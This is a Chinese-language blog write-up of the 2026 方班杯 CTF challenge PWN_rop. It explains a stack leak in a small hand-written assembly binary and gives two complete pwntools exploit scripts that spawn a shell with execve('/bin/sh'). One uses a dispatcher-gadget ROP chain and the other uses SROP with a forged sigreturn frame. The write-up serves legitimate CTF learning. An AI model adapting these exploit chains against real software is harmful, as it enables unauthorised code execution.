2234 字
6 分钟
2026方班杯PWN_rop
2026-05-06
统计加载中...

五一前速通了一下sropsrop的原理,星铁landland回来之后就速速来复现题目了()。这题可以按出题人的意思,根据题目给的条件来巧妙构造roprop。也可以另辟蹊径地用sropsrop来解决。

技巧ROP#

替换文本
替换文本
替换文本
我们发现程序似乎保护全关,同时有直接的readread栈溢出。看似是可以简单地用shellcodeshellcode解决,但并非如此。
替换文本
我们查看内存空间看到stackstack上没有执行权限,这也就说明了shellcodeshellcode是不行的。
我们重新来审视原函数的逻辑。这里看到printprint打印了msg1msg1的内容,然后返回了一个ret_addrret\_addr。这个ret_addrret\_addr就是存储了print()print()f的返回地址。然后我们看到v2v2存储了ret_addrret\_addr的地址,它是一个在栈上指向ret_addrret\_addr的指针。接着我们用printprint打印了它的地址,而这就是泄露的栈地址了。我们后续就是根据这个地址的偏移在栈上精确构造roprop链。

data = p.recv(952)
stack_leak = u64(data[379 : 379 + 8])

这里接收的379379处的88个字节就是泄露的栈地址了。
同时因为这个程序是手写的小汇编程序,我们还可以直接看汇编代码来深化理解(方便理解后续栈布局的设计)

print proc near
mov eax, 1
mov edi, 1 ; fd
syscall ; LINUX - sys_write
xchg rax, r13
jmp qword ptr [rsp+0]
print endp

可以看到执行完printprint后,rsprsp并没有移动,还是指向返回地址,并且直接跳转到rsprsp指向的位置。

_start proc near
var_8= qword ptr -8
mov rsi, offset msg1
mov edx, 17Bh
call print
push rsp
mov rsi, rsp
mov edx, 8
call print
mov rsi, offset msg2
mov edx, 235h
call print
xor rax, rax
xor rdi, rdi ; fd
mov rsi, rsp ; buf
mov edx, 539h ; count
syscall ; LINUX - sys_read
jmp [rsp+8+var_8]
_start endp

我们看到,在执行完print()print()后,rsprsp没有变化,依旧指向原来printprint在栈上的返回地址。此时push rsp,我们压入了rsprsp这个指针,而它是一个指向上一个栈地址(rsp+0x8)的指针。然后我们将它的值传给了rsirsi,接着调用print()print()打印。所以这就是我们需要的泄露的栈地址。接着后续我们又连续调用了两次print()print(),两次call print指令分别压入了两次新的返回地址。因此我们可以大致规划出在进行readread操作前我们的栈布局是怎么样的。

rsp 返回地址3
rsp+0x8 返回地址2
rsp+0x10 压入的rsp(我们泄露的内容)
rsp+0x18 返回地址1

而我们看到readread写入的位置就是栈布局上的rsprsp,然后后续的jmp [rsp+8+var_8]其实就是直接跳转了rsprsp的位置,所以rsprsp的位置就是我们返回地址,第一个写入的地址会直接跳转。
这里的payload_base = stack_leak - 0x18就是rsprsp的位置。后续的偏移设置以此为基准。
到目前为止我们摸清楚了程序的意图。然后我们就需要相应的gadgetgadget来构造roprop

替换文本
替换文本
这里我们看到两个特殊的gadgetgadgetdispatcherdispatcher会将rbxrbx88,然后跳转里面的地址。而gadgetsgadgets可以让我们在栈上设置好相应的寄存器。
这里是最考验技巧的地方了。首先我们看到gadgetgadget中完全没有retret,我们无法直接简单粗暴的控制返回地址搭建roprop链。同时在gadgetgadget中设置好寄存器后是直接跳转r15r15,后续也无法通过其他方法修改r15r15来控制其跳转其他地方。这里的解法是利用了dispatcherdispatcherrbxrbx的加88,然后跳转rbxrbx的操作来改变程序的控制流。
我们先跳转pop_gadgetpop\_gadget,依次设置好相关的寄存器。我们的最终目的是构造execve("/bin/sh", 0, 0),所以我们按照要求设置相关的寄存器。值得注意的是,这里我们无法直接设置raxrax,但是我们看到printprint汇编代码里面有一段xchg rax, r13,也就说我们可以将r13r13设置为5959,后续再调用printprint,交换raxraxr13r13的值就能设置好raxrax了。rdirdi设置为我们的/bin/sh/bin/sh在栈上的地址。(相关偏移量我在注释标注了)。后续我们需要再分别将rsirsirdxrdx清零。这也是为什么我们需要用dispatcherdispatcher来构造roprop链的主要原因之一。
接着我们来设置和我们roprop链有关的寄存器。rbxrbx设置为xor rdx, rdx在栈上的偏移量0x8-0x8,因为dispatcherdispatcher会对rdx+0x8rdx+0x8后再跳转。r15r15设置为dispatcherdispatcher的地址来不断跳转。这里对rdxrdx清零之后又跳转dispatcherdispatcher,然后rdx+0x8rdx+0x8继续回到栈上执行rsirsi的清零。再跳转dispatcherdispatcher,接着rdx+0x8rdx+0x8回到栈上执行printprint,目的是让raxrax1313。由于此时的rdxrdx已经清零了,所以不会打印任何内容。printprint执行完后会跳转[rsp][rsp],进入栈顶存放的地址。
此时p64(dispatcher)之前的数据均已弹出,所以我们会开始执行新一轮的pop_gadgetpop\_gadget,我们按之前的第一次的操作设置好rdirdi等等寄存器。rdxrdx已清零不用管,rsirsi因为pop rsi存入的pop_gadgetpop\_gadget的地址,需要后续用dispatcherdispatcher重新清零。然后这里的r13r13直接填00即可,因为我们的raxrax已经设置好了。rbxrbx填入我们在栈上放入的新的rsirsi清零的地址0x8-0x8r15r15设置为dispatcherdispatcher进行反复跳转。
反复跳转跟前面的一样,每次dispatcherdispatcher都会将返回到栈上的地址下移并执行。最终我们设置好所有的寄存器然后调用了syscallsyscallgetshellgetshell
EXPEXP:

from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
# p = remote()
p = process('./vuln')
#gdb.attach(p)
pop_gadget = 0x401017
dispatcher = 0x401011
xor_rdx = 0x401021
xor_rsi = 0x401027
PRINT = 0x401000
syscall_addr = 0x40100A
data = p.recv(952)
stack_leak = u64(data[379 : 379 + 8])
log.success(f"leaked stack: {hex(stack_leak)}")
payload_base = stack_leak - 0x18
bin_sh_addr = payload_base + 0x78
payload = flat([
p64(pop_gadget),
p64(bin_sh_addr),
p64(payload_base + 0x48),
p64(59),
p64(dispatcher),
# payload_base + 0x20
p64(pop_gadget),
p64(bin_sh_addr),
p64(payload_base + 0x60),
p64(0),
p64(dispatcher),
# payload_base + 0x48
# chain1
p64(xor_rdx),
p64(xor_rsi),
p64(PRINT),
# payload_base + 0x60
# chain2
p64(xor_rsi),
p64(syscall_addr),
# payload_base + 0x70
b"/bin/sh\x00",
#payload_base + 0x78
])
p.send(payload)
p.interactive()

此外这题还可以使用sropsrop的方法来做。

SROP原理:#

首先我们需要了解一下signalsignal机制。

替换文本
signalsignal机制是类unixunix系统进程之间互相传递信息的一种方法。当我们调用sigreturnsigreturn时,内核会向某个进程发送signalsignal机制,将其挂起并进入内核态。内核会保留相应的上下文,主要是将所有的寄存器压入栈中,并压入signalsignal信息(这一段信息和寄存器合起来就是signalframesignal frame)以及指向sigreturnsigreturn的系统调用地址。值得注意的是,这里压入的所有信息都在用户进程的地址空间。之后会跳转到signalhandlersignal handler处理相关的signalsignal,所以当signalhandlersignal handler执行完之后就会执行sigreturnsigreturn的代码。为该进程直接恢复frameframe保存的上下文,其中包括将所有压入的寄存器重新poppop回原来的寄存器。然后恢复进程的执行。3232位的sigreturnsigreturn的系统调用号是119(0x77)119(0x77)6464位的是15(0xf)15(0xf)
替换文本
根据上面的原理,我们其实也可以明白,如果我们可以控制相关的signalframesignal frame,也就可以控制相关上下文来一次性设置所有我们想要的寄存器,并控制程序的执行流riprip来直接调用,而无需通过一步一步的roprop和大量的gadgetgadget来设置寄存器和调用。
而这个保存上下文的机制巧就巧在,它会把相关的frameframe信息放在栈上,而栈上的内容是我们可读写。并且内核解析相关frameframe的信息时并不检查是否真的是之前由内核写入的真实frameframe。它只是从最靠近rsprsp的位置直接找到一个frameframe并读取数据,然后放入相应寄存器。所以我们直接在栈上伪造一个frameframe,并调用rt_sigreturnrt\_sigreturn,内核就会直接按照这个伪造的frameframe来设置寄存器。
举个例子:假如我们想要getshellgetshell。按照SROPSROP的思路来讲。我们只需要将raxrax设置为1515(6464位),然后利用retretsyscallsyscall两个gadgetgadget来执行系统调用rt_sigreturnrt\_sigreturn。并再此之前在栈上设置好伪造的frameframe,(相关寄存器数据按照execve("/bin/sh", 0, 0)设置好),riprip再设置为syscallsyscall。在rt_sigreturnrt\_sigreturn恢复完上下文之后就会直接执行syscallsyscall,系统调用execveexecvegetshellgetshell了。
这题另一种方法便是如此。

SROP#

首先我们同样需要泄露栈地址,然后相对于栈地址我们放置相应的参数。这里伪造的frameframe的大小一般为0xf80xf8字节。然后再加上我们payload1payload1前面的两个读入就是0x10+0xf80x10 + 0xf8。这个就是我们放入/bin/sh/bin/sh的地址,也就是将要构造的execve()execve()需要的第一个参数。

buf = stack_leak - 0x18
bin_sh_addr = buf + 0x10 + 0xf8

同时尽管gadgetgadget十分有限,我们还是有retretsyscallsyscall这两个关键的gadgetgadget。而raxrax可以通过二次读入长度来控制readread存有返回值的raxrax1515,然后我们再用retretsyscallsyscallgadgetgadget来触发sigreturnsigreturn,然后使用我们伪造sigcontextsigcontext

这里payload1payload1再次跳转并调用了了readread,它会接收payload2payload2中的1515个字节,然后让raxrax设置为1515payload2payload2syscallsyscall地址的高位是0000所以我们可以只读取77个字节来控制字节数。
tipstips:这里的retret没有显式表现在IDAIDA上,而是夹在add rbx, 8中的机器码48 83 C3 08中的C3表示的是retret的机器码。如果你使用ROPgadgetROPgadget是可以直接看到这个retretgadgetgadget

payload1 = flat([
p64(read_addr),
p64(0),
bytes(frame),
b'/bin/sh\x00'
])
p.send(payload1)
payload2 = flat([
p64(ret_addr),
p64(syscall_addr)[:7]
])
p.send(payload2)

我们通过设置sigcontextsigcontext相应的寄存器构造并调用execve("/bin/sh", 0, 0)getshellgetshell
这种解法的更详细的解释可以参考大佬ZenDukZenDuk的博客,我的解法主要借鉴了他的思路。博客链接
EXPEXP:

from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
# p = remote()
p = process('./vuln')
#gdb.attach(p)
ret_addr = 0x401013
read_addr = 0x401069
syscall_addr = 0x40100A
data = p.recv(952)
stack_leak = u64(data[379 : 379 + 8])
log.success(f"leaked stack: {hex(stack_leak)}")
buf = stack_leak - 0x18
bin_sh_addr = buf + 0x10 + 0xf8
frame = SigreturnFrame(kernel = 'amd64')
frame.rax = 59
frame.rdi = bin_sh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
payload1 = flat([
p64(read_addr),
p64(0),
bytes(frame),
b'/bin/sh\x00'
])
p.send(payload1)
payload2 = flat([
p64(ret_addr),
p64(syscall_addr)[:7]
])
p.send(payload2)
p.interactive()
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

2026方班杯PWN_rop
https://mkrari.cn/posts/fangbanbei2026_pwn_rop/
作者
Mkrari
发布于
2026-05-06
许可协议
CC BY-NC-SA 4.0